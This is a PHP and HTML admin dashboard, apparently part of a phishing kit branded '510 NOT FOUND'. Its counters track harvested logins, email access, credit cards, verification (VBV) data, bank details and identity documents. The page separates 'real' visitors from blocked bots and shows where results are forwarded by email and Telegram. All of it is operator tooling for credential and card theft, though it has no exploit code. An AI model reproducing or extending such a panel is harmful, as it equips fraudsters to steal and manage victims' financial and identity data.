<?php
include "session.php";
require_once "function.php";

$link = "https://" . $_SERVER['SERVER_NAME'] . "/?" . getsetting("site_parameter");
$last = file_get_contents("last.tmp"); 

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta content="IE=edge" http-equiv="X-UA-Compatible">
    <meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
    <meta content="" name="description">
    <meta content="" name="author">
    <title>510 NOT FOUND</title><!-- loader-->
    <link href="assets/css/pace.min.css" rel="stylesheet">
    <script src="assets/js/pace.min.js">
    </script><!--favicon-->
    <link
        href="https://www.pinclipart.com/picdir/big/550-5508982_golden-crown-png-download-transparent-background-black-crown.png"
        rel="icon" type="image/x-icon">
    <link href="assets/plugins/vectormap/jquery-jvectormap-2.0.2.css" rel="stylesheet"><!-- simplebar CSS-->
    <link href="assets/plugins/simplebar/css/simplebar.css" rel="stylesheet"><!-- Bootstrap core CSS-->
    <link href="assets/css/bootstrap.min.css" rel="stylesheet"><!-- animate CSS-->
    <link href="assets/css/animate.css" rel="stylesheet" type="text/css"><!-- Icons CSS-->
    <link href="assets/css/icons.css" rel="stylesheet" type="text/css"><!-- Sidebar CSS-->
    <link href="assets/css/sidebar-menu.css" rel="stylesheet"><!-- Custom Style-->
    <link href="assets/css/app-style.css" rel="stylesheet">
    <style type="text/css">
        .my-custom-scrollbar {
            position: relative;
            height: 400px;
            overflow: auto;
        }

        .table-wrapper-scroll-y {
            display: block;
        }
    </style>
    <script>
        setInterval(
            (function () {
                $("#all").load("load.php?kind=all");
                $("#visitor").load("load.php?kind=visitor");
                $("#blocked").load("load.php?kind=blocked");
                $("#logvisit").load("load.php?kind=logvisit");
                $("#login").load("load.php?kind=login");
                $("#email").load("load.php?kind=email");
                $("#card").load("load.php?kind=card");
                $("#vbv").load("load.php?kind=vbv");
                $("#bank").load("load.php?kind=bank");
                $("#ident").load("load.php?kind=ident");
            }), 4000);
    </script>
</head>

<body class="bg-theme bg-theme1">
    <!-- Start wrapper-->
    <div id="wrapper">
        <!--Start sidebar-wrapper-->
        <div data-simplebar="" data-simplebar-auto-hide="true" id="sidebar-wrapper">
            <div class="brand-logo">
                <h5 class="logo-text" id="liveClock"></h5>
            </div>
            <ul class="sidebar-menu do-nicescrol">
                <li class="sidebar-header">MAIN NAVIGATION</li>
                <li>
                    <a href="./"><i class="zmdi zmdi-view-dashboard"></i> <span>Dashboard</span></a>
                </li>
                <li>
                    <a href="./setting"><i class="zmdi zmdi-settings zmdi-hc-spin"></i> <span>Setting</span></a>
                </li>
                <li>
                    <a href="./security"><i class="fa fa-shield"></i> <span>Security</span></a>
                </li>
                <li>
                    <a href="./logout"><i class="fa fa-sign-out"></i> <span>Log Out</span></a>
                </li>
                <li class="sidebar-header">CONTACT</li>
                <li>
                    <a href="https://t.me/Fivehundredten" target="_blank"><i class="fa fa-comment"></i> <span>Contact
                            Admin</span></a>
                </li>
            </ul>
            <!-- Button trigger modal -->
        </div><!--End sidebar-wrapper-->
        <div class="modal fade" id="buymecoffee" tabindex="-1" role="dialog" aria-labelledby="buymecoffeeTitle"
            aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content"
                    style="border: 0px solid #e5eaef !important; background-color: rgba(255, 255, 255, 0.1) !important; color: #fff !important;">
                    <div class="modal-header">
                        <h5 class="modal-title" id="buymecoffee">Buy Me a Coffee</h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <div class="mx-3"><span>OVO : </span></div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-light btn-round px-5 mx-2"
                            data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!--Start topbar header-->
        <header class="topbar-nav">
            <nav class="navbar navbar-expand fixed-top">
                <ul class="navbar-nav mr-auto align-items-center">
                    <li class="nav-item">
                        <a class="nav-link toggle-menu" href="javascript:void();"><i
                                class="icon-menu menu-icon"></i></a>
                    </li>
                </ul>
                <ul class="navbar-nav align-items-center right-nav-link">
                    <li class="nav-item">
                        <a class="nav-link waves-effect text-small" href="<?php echo $link; ?>" target="_blank">
                            <small>Go to site</small>
                        </a>
                    </li>
                </ul>
            </nav>
        </header><!--End topbar header-->
        <div class="clearfix"></div>
        <div class="content-wrapper">
            <div class="container-fluid">
                <!--Start Dashboard Content-->
                <div class="card mt-3">
                    <div class="card-content">
                        <div class="row row-group m-0">
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="all"> <span class="float-right"><i
                                                class="fa fa-question"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Total Visitor</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="logvisit"> <span class="float-right"><i
                                                class="fa fa-check"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Real Visitor</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="blocked"> <span class="float-right"><i
                                                class="fa fa-times"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Bot Visitor</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="visitor"> <span class="float-right"><i
                                                class="fa fa-amazon"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Login Visitor</p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="card mt-3">
                    <div class="card-content">
                        <div class="row row-group m-0">
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="login"> <span class="float-right"><i
                                                class="fa fa-key"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Double Login</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="email"> <span class="float-right"><i
                                                class="fa fa-envelope"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Email Access Result</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="card"> <span class="float-right"><i
                                                class="fa fa-credit-card-alt"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Credit Card Result</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="vbv"> <span class="float-right"><i
                                                class="fa fa-shield"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Double Credit Card Result</p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="card mt-3">
                    <div class="card-content">
                        <div class="row row-group m-0">
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="bank"> <span class="float-right"><i
                                                class="fa fa-university"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Bank Result</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-3 border-light">
                                <div class="card-body">
                                    <h5 class="text-white mb-0" id="ident"> <span class="float-right"><i
                                                class="fa fa-id-card"></i></span></h5>
                                    <div class="progress my-3" style="height:2px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Identity Result</p>
                                </div>
                            </div>
                            <div class="col-12 col-lg-6 col-xl-6 border-light">
                                <div class="card-body">
                                    <p class="mb-0 text-white small-font">Email Result :
                                        <?php echo getsetting("resulttoemail"); ?>
                                    </p>
                                    <div class="progress my-3" style="height:1px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Telegram Result :
                                        <?php echo getsetting("resulttotele"); ?>
                                    </p>
                                    <div class="progress my-3" style="height:1px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Parameter :
                                        <?php echo getsetting("site_parameter"); ?>
                                    </p>
                                    <div class="progress my-3" style="height:1px;">
                                        <div class="progress-bar" style="width:100%"></div>
                                    </div>
                                    <p class="mb-0 text-white small-font">Last Login IP :
                                        <?php echo $last; ?>
                                    </p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-12 col-lg-6">
                        <div class="card">
                            <div class="card-header">
                                Real Visitor
                            </div>
                            <div class="table-responsive table-wrapper-scroll-y my-custom-scrollbar">
                                <table class="table align-items-center table-flush table-borderless">
                                    <thead>
                                        <tr>
                                            <th>Time</th>
                                            <th>Country</th>
                                            <th>Ip</th>
                                            <th>Browser</th>
                                            <th>Device</th>
                                            <th>Reason</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php echo getlist("logvisit"); ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                    <div class="col-12 col-lg-6">
                        <div class="card">
                            <div class="card-header">
                                Bot Visitor
                            </div>
                            <div class="table-responsive table-wrapper-scroll-y my-custom-scrollbar">
                                <table class="table align-items-center table-flush table-borderless">
                                    <thead>
                                        <tr>
                                            <th>Time</th>
                                            <th>Country</th>
                                            <th>Ip</th>
                                            <th>Browser</th>
                                            <th>Device</th>
                                            <th>Reason</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php echo getlist("blocked"); ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div><!--End Row-->
                <!--End Dashboard Content-->
                <!--start overlay-->
                <div class="overlay toggle-menu"></div><!--end overlay-->
            </div><!-- End container-fluid-->
        </div><!--End content-wrapper-->
        <!--Start Back To Top Button-->
        <a class="back-to-top" href="javaScript:void();"><i class="fa fa-angle-double-up"></i></a>
        <!--End Back To Top Button-->
        <!--Start footer-->
        <footer class="footer">
            <div class="container">
                <div class="text-center">
                    <script>document.write(new Date().getFullYear())</script> © 510 NOT FOUND.
                </div>
            </div>
        </footer><!--End footer-->
        <!--start color switcher-->
        <div class="right-sidebar">
            <div class="switcher-icon">
                <i class="zmdi zmdi-settings zmdi-hc-spin"></i>
            </div>
            <div class="right-sidebar-content">
                <p class="mb-0">Gaussion Texture</p>
                <hr>
                <ul class="switcher">
                    <li id="theme1"></li>
                    <li id="theme2"></li>
                    <li id="theme3"></li>
                    <li id="theme4"></li>
                    <li id="theme5"></li>
                    <li id="theme6"></li>
                </ul>
                <p class="mb-0">Gradient Background</p>
                <hr>
                <ul class="switcher">
                    <li id="theme7"></li>
                    <li id="theme8"></li>
                    <li id="theme9"></li>
                    <li id="theme10"></li>
                    <li id="theme11"></li>
                    <li id="theme12"></li>
                    <li id="theme13"></li>
                    <li id="theme14"></li>
                    <li id="theme15"></li>
                </ul>
            </div>
        </div><!--end color switcher-->
    </div><!--End wrapper-->
    <!-- Bootstrap core JavaScript-->
    <script src="assets/js/jquery.min.js">
    </script>
    <script src="assets/js/popper.min.js">
    </script>
    <script src="assets/js/bootstrap.min.js">
    </script> <!-- simplebar js -->

    <script src="assets/plugins/simplebar/js/simplebar.js">
    </script> <!-- sidebar-menu js -->

    <script src="assets/js/sidebar-menu.js">
    </script> <!-- loader scripts -->

    <script src="assets/js/jquery.loading-indicator.js">
    </script> <!-- Custom scripts -->

    <script src="assets/js/app-script.js">
    </script> <!-- Chart js -->

    <script src="assets/plugins/Chart.js/Chart.min.js">
    </script> <!-- Index js -->

    <script src="assets/js/index.js">
    </script>
    <script>
        function updateClock() {
            const now = new Date();

            const options = {
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit'
            };

            document.getElementById("liveClock").textContent =
                now.toLocaleTimeString('en-US', options);
        }

        setInterval(updateClock, 1000);
        updateClock();
    </script>
</body>

</html>